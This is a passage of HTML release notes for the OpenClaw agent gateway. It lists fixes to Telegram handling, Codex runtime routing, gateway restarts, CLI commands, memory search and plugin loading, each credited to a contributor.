<li>Agents/Codex: load the selected provider owner alongside the Codex harness runtime so <code>openai-codex</code> models resolve when plugin allowlists scope runtime loading. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465725039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83380" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83380/hovercard" href="https://github.com/openclaw/openclaw/issues/83380">#83380</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467452244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83519" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83519/hovercard" href="https://github.com/openclaw/openclaw/pull/83519">#83519</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: fail stalled isolated-ingress handlers into tombstones and abort same-lane reply work before restarting, so later same-chat updates drain after a hung turn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464995305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83272/hovercard" href="https://github.com/openclaw/openclaw/issues/83272">#83272</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467244502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83505/hovercard" href="https://github.com/openclaw/openclaw/pull/83505">#83505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>CLI/config: send SecretRef diagnostics to stderr so JSON command stdout remains parseable.</li>
<li>CLI/doctor: seed Control UI allowed origins when migrating legacy non-loopback gateway bind host aliases like <code>0.0.0.0</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465089879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83286" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83286/hovercard" href="https://github.com/openclaw/openclaw/issues/83286">#83286</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/plugins: ship the bundled memory CLI as a package entry so package-installed <code>openclaw memory</code> commands register correctly.</li>
<li>CLI/update: defer doctor-time plugin package installs during package swaps and seed post-core repair from the updated install registry, preventing duplicate reinstall failures.</li>
<li>CLI/update: preserve old-parent-readable config metadata during legacy package handoffs, fall back only to official <code>@openclaw/*</code> npm plugin packages when ClawHub plugin artifacts are unavailable, and keep managed service package roots authoritative during updates.</li>
<li>Feishu: detect SecretRef top-level credentials as a configured default account instead of treating object-backed app secrets as missing.</li>
<li>Gateway/restart: keep ordinary unmanaged SIGUSR1/config restarts in-process instead of detach-spawning an orphaned child, preserving custom supervisor PID tracking while leaving update restarts on the fresh-process path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250873603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65668/hovercard" href="https://github.com/openclaw/openclaw/issues/65668">#65668</a>.</li>
<li>CLI/completion: resolve concrete PowerShell profile paths and reload commands during setup and doctor completion installation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066360712" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44296/hovercard" href="https://github.com/openclaw/openclaw/issues/44296">#44296</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463206646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83059/hovercard" href="https://github.com/openclaw/openclaw/pull/83059">#83059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yu-xin-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yu-xin-c">@yu-xin-c</a>.</li>
<li>Telegram: keep isolated long polling below the hard <code>getUpdates</code> request guard so idle bot accounts with high <code>timeoutSeconds</code> do not false-disconnect and restart-loop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464939101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83264" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83264/hovercard" href="https://github.com/openclaw/openclaw/issues/83264">#83264</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/riccodecarvalho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/riccodecarvalho">@riccodecarvalho</a>.</li>
<li>Providers/Google: preserve and recover Gemini 3 tool-call thought signatures during native replay so function-calling turns no longer fail with missing <code>thought_signature</code> 400s. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336919838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72879/hovercard" href="https://github.com/openclaw/openclaw/issues/72879">#72879</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416318334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80358" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80358/hovercard" href="https://github.com/openclaw/openclaw/pull/80358">#80358</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</li>
<li>Telegram: skip transcript-only delivery mirrors and gateway-injected rows when resolving latest assistant text, preventing retained previews from replacing final replies with stale fragments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463981517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83159" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83159/hovercard" href="https://github.com/openclaw/openclaw/issues/83159">#83159</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465564203" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83362" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83362/hovercard" href="https://github.com/openclaw/openclaw/pull/83362">#83362</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/QMD: keep lexical search on raw hyphenated queries while normalizing semantic QMD sub-searches, avoiding fallback to the builtin index for dashed identifiers and dates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435810897" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81328" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81328/hovercard" href="https://github.com/openclaw/openclaw/issues/81328">#81328</a>.</li>
<li>Memory-core: distinguish sqlite-vec load failures from missing semantic vector embeddings in degraded <code>memory index</code> warnings, so vector recall diagnostics point at unresolved dimensions instead of blaming sqlite-vec when the store is ready. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364260496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75624" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75624/hovercard" href="https://github.com/openclaw/openclaw/issues/75624">#75624</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463181130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83056/hovercard" href="https://github.com/openclaw/openclaw/pull/83056">#83056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xuruiray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xuruiray">@xuruiray</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noah3521/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noah3521">@Noah3521</a>.</li>
<li>Agents/subagents: preserve sandbox-peer controller ownership while routing completion announcements back to the originating run session, keeping subagent control and completion delivery scoped correctly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415216120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80201/hovercard" href="https://github.com/openclaw/openclaw/issues/80201">#80201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415551739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80242/hovercard" href="https://github.com/openclaw/openclaw/pull/80242">#80242</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jerry-Xin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jerry-Xin">@Jerry-Xin</a>.</li>
<li>Gateway: continue restarting remaining channels when one hot-reload channel restart fails, while still reporting aggregate reload failure and rolling back plugin pre-replace stops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463173969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83054/hovercard" href="https://github.com/openclaw/openclaw/issues/83054">#83054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</li>
<li>Gateway/plugins: bind admin HTTP RPC dispatch to the accepting gateway instance so multi-gateway processes cannot execute plugin HTTP control-plane calls against another live gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466988696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83486" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83486/hovercard" href="https://github.com/openclaw/openclaw/issues/83486">#83486</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466988915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83487/hovercard" href="https://github.com/openclaw/openclaw/pull/83487">#83487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</li>
<li>Telegram: keep hot-reload restarts from marking polling accounts manually stopped and restart isolated ingress cleanly after worker shutdown, preserving Telegram replies across config reloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462834253" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83008" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83008/hovercard" href="https://github.com/openclaw/openclaw/issues/83008">#83008</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466042128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83410" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83410/hovercard" href="https://github.com/openclaw/openclaw/pull/83410">#83410</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram/Ollama: pass current Telegram image attachments into native PI/Ollama vision turns so live photo prompts reach Ollama as native images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462984078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83023" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83023/hovercard" href="https://github.com/openclaw/openclaw/issues/83023">#83023</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467422495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83516/hovercard" href="https://github.com/openclaw/openclaw/pull/83516">#83516</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/secrets: split the lightweight secrets runtime state and auth-store cache from the full secrets runtime and take a startup fast path when the gateway startup config has no SecretRef values, speeding up secrets startup while preserving cleanup and refresh semantics.</li>
<li>Codex app-server: rotate oversized native Codex threads before resume and cap dynamic tool-result text entering native Codex sessions, preventing stale oversized context from surviving OpenClaw compaction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462638811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82981" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82981/hovercard" href="https://github.com/openclaw/openclaw/pull/82981">#82981</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hansolo949/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hansolo949">@hansolo949</a>.</li>
<li>Gateway/restart: drain pending replies and active chat runs during restart shutdown before sockets and channels close, aborting timed-out chat runs through the normal cleanup path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292354940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69121/hovercard" href="https://github.com/openclaw/openclaw/pull/69121">#69121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexlomt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexlomt">@alexlomt</a>.</li>
<li>Agents/Codex: use the Codex runtime context window for OpenAI-model preflight compaction and memory flush checks, so GPT-5.5 Codex sessions compact before hitting the smaller native context limit. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462658403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82982/hovercard" href="https://github.com/openclaw/openclaw/issues/82982">#82982</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vliuyt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vliuyt">@vliuyt</a>.</li>
<li>QA-Lab: clean orphaned gateway temp roots when a suite parent exits and wait on gateway plus transport readiness after config restarts, reducing stale <code>qa-channel</code> noise from interrupted runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65506/hovercard" href="https://github.com/openclaw/openclaw/issues/65506">#65506</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: wake qa-bus long polls that arrive with stale future cursors after a bus restart, preserving reconnect readiness for harness clients. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268454103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67142/hovercard" href="https://github.com/openclaw/openclaw/pull/67142">#67142</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>QA-Lab: stage Multipass transfer scripts under OpenClaw's preferred temp root instead of raw OS temp paths, keeping the VM runner inside temp-path guardrails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236737157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64098" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64098/hovercard" href="https://github.com/openclaw/openclaw/pull/64098">#64098</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ImLukeF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ImLukeF">@ImLukeF</a>.</li>
<li>Agents/replies: keep surviving reply media and append a warning when other media references fail, so partial media normalization no longer drops failures silently. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jerry-Xin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jerry-Xin">@Jerry-Xin</a>.</li>
<li>Config/models: accept <code>thinkingFormat: "together"</code> in model compat config so Together routes can opt into the Together-specific thinking response shape.</li>
<li>Plugins/tokenjuice: bump the bundled tokenjuice runtime to 0.7.1, bringing Codex hook approval compatibility, pre-tool command wrapping fixes, and Rolldown/Vitest output compaction improvements into the OpenClaw plugin.</li>
<li>Agents/OpenAI: stop post-processing GPT-5 final replies with hardcoded brevity caps, preserving full channel responses instead of appending synthetic ellipses, and log when strict-agentic GPT-5 execution activates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462335362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82910" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82910/hovercard" href="https://github.com/openclaw/openclaw/issues/82910">#82910</a>.</li>
<li>Mac app: refine the Settings General and Connection panes with cleaner status panels, card rows, and a single native titlebar sidebar toggle.</li>
<li>Agents/media: deliver failed async image, music, and video generation completions directly when requester-session completion handoff fails, so channel users see provider errors instead of silent fallback stalls.</li>
<li>Browser/CDP: keep loopback proxy bypass active across both <code>NO_PROXY</code> casings and redact home-relative Chrome MCP profile paths in attach-failure diagnostics.</li>
<li>Agents/music: steer song, jingle, beat, anthem, and instrumental requests toward <code>music_generate</code> audio creation instead of lyric-only replies, and reserve <code>lyrics</code> for exact sung words.</li>
<li>Codex app-server: record native Codex tool calls and results into trajectory artifacts so debug/trajectory exports capture the full Codex-native tool history, not just OpenClaw-bridged turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Codex/app-server: keep bound conversation sessions on the owning agent runtime so native Codex control and follow-up turns do not fall back to the default agent client. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462465085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82954/hovercard" href="https://github.com/openclaw/openclaw/issues/82954">#82954</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462724002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82993/hovercard" href="https://github.com/openclaw/openclaw/pull/82993">#82993</a>)</li>
<li>CLI/infer: run gateway model probes in fresh explicit sessions so one-shot provider checks do not inherit default agent transcript state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462127302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82861/hovercard" href="https://github.com/openclaw/openclaw/pull/82861">#82861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Providers/Together: send video-generation requests to Together's v2 video API even when shared text-model config still points at the v1 base URL. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462711627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82992/hovercard" href="https://github.com/openclaw/openclaw/pull/82992">#82992</a>)</li>
<li>Browser CLI: preserve browser-level options on nested commands, skip option values during lazy command registration, and keep long-running wait/download/dialog hooks open for their advertised wait window.</li>
<li>CLI/sessions: accept <code>openclaw sessions list</code> as an alias for <code>openclaw sessions</code>, matching other list-style commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432233621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81139/hovercard" href="https://github.com/openclaw/openclaw/issues/81139">#81139</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432597965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81163" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81163/hovercard" href="https://github.com/openclaw/openclaw/pull/81163">#81163</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YB0y/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YB0y">@YB0y</a>.</li>
<li>Channels/stream previews: widen compact progress draft lines and cut prose at word boundaries while preserving command/path suffixes, with <code>streaming.progress.maxLineChars</code> for channel-specific tuning.</li>
<li>CLI/plugins: have <code>openclaw plugins doctor</code> warn when a configured runtime needs a missing owner plugin, sharing the same install mapping as <code>openclaw doctor --fix</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435782026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81326" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81326/hovercard" href="https://github.com/openclaw/openclaw/issues/81326">#81326</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443400168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81674" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81674/hovercard" href="https://github.com/openclaw/openclaw/pull/81674">#81674</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zavianx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zavianx">@Zavianx</a>.</li>
<li>Agents/Codex: route OpenAI runs that resolve to <code>openai-codex</code> through the Codex provider and bootstrap OpenClaw's stored OAuth profile into the Codex harness when the harness owns transport, so <code>openai/*</code> model refs no longer fail with <code>No API key found for openai-codex</code> despite an existing Codex OAuth profile. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462142665" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82864" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82864/hovercard" href="https://github.com/openclaw/openclaw/pull/82864">#82864</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ragesaq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ragesaq">@ragesaq</a>.</li>
<li>Agents/ACP: distinguish prompt-submitted and runtime-active child stalls from true interactive waits, including redacted proxy-env diagnostics for Codex ACP no-output runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069428847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44810" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44810/hovercard" href="https://github.com/openclaw/openclaw/issues/44810">#44810</a>.</li>
<li>Agents/memory: explain that memory-triggered compaction exposes only <code>read</code> and append-only <code>write</code> when configured core tools are unavailable in <code>tools.allow</code> warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462438972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82941" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82941/hovercard" href="https://github.com/openclaw/openclaw/issues/82941">#82941</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/OpenAI: preserve deterministic tool payload ordering for prompt-cache reuse across OpenAI Responses and chat completions calls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462435142" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82940/hovercard" href="https://github.com/openclaw/openclaw/pull/82940">#82940</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>ACP/Codex: honor terminal ACP turn results so failed Codex/acpx runs are not recorded as successful after only progress text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409392717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79522" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79522/hovercard" href="https://github.com/openclaw/openclaw/issues/79522">#79522</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dudaefj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dudaefj">@dudaefj</a>.</li>
<li>Telegram: warn when a media group drops photos that fail to download, including albums where every photo is skipped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144617570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55216" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55216/hovercard" href="https://github.com/openclaw/openclaw/issues/55216">#55216</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462674675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82987/hovercard" href="https://github.com/openclaw/openclaw/pull/82987">#82987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eldar702/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eldar702">@eldar702</a>.</li>
<li>Agents/skills: apply the full effective tool policy pipeline to inline <code>command-dispatch: tool</code> skill dispatch before owner-only filtering, preserving configured allow, deny, sandbox, sender, group, and subagent restrictions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392543885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78525" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78525/hovercard" href="https://github.com/openclaw/openclaw/pull/78525">#78525</a>)</li>
<li>Codex: avoid spawning native hook relay subprocesses for post-tool/finalize events with no registered hook handlers while preserving pre-tool safety and approval relays. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371228983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76552/hovercard" href="https://github.com/openclaw/openclaw/issues/76552">#76552</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386233442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78004/hovercard" href="https://github.com/openclaw/openclaw/pull/78004">#78004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evgyur/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evgyur">@evgyur</a>.</li>
<li>Channel accounts: keep top-level default channel accounts visible when named accounts are added alongside default credential material, so mixed legacy/new account configs keep resolving <code>default</code> instead of silently dropping it.</li>
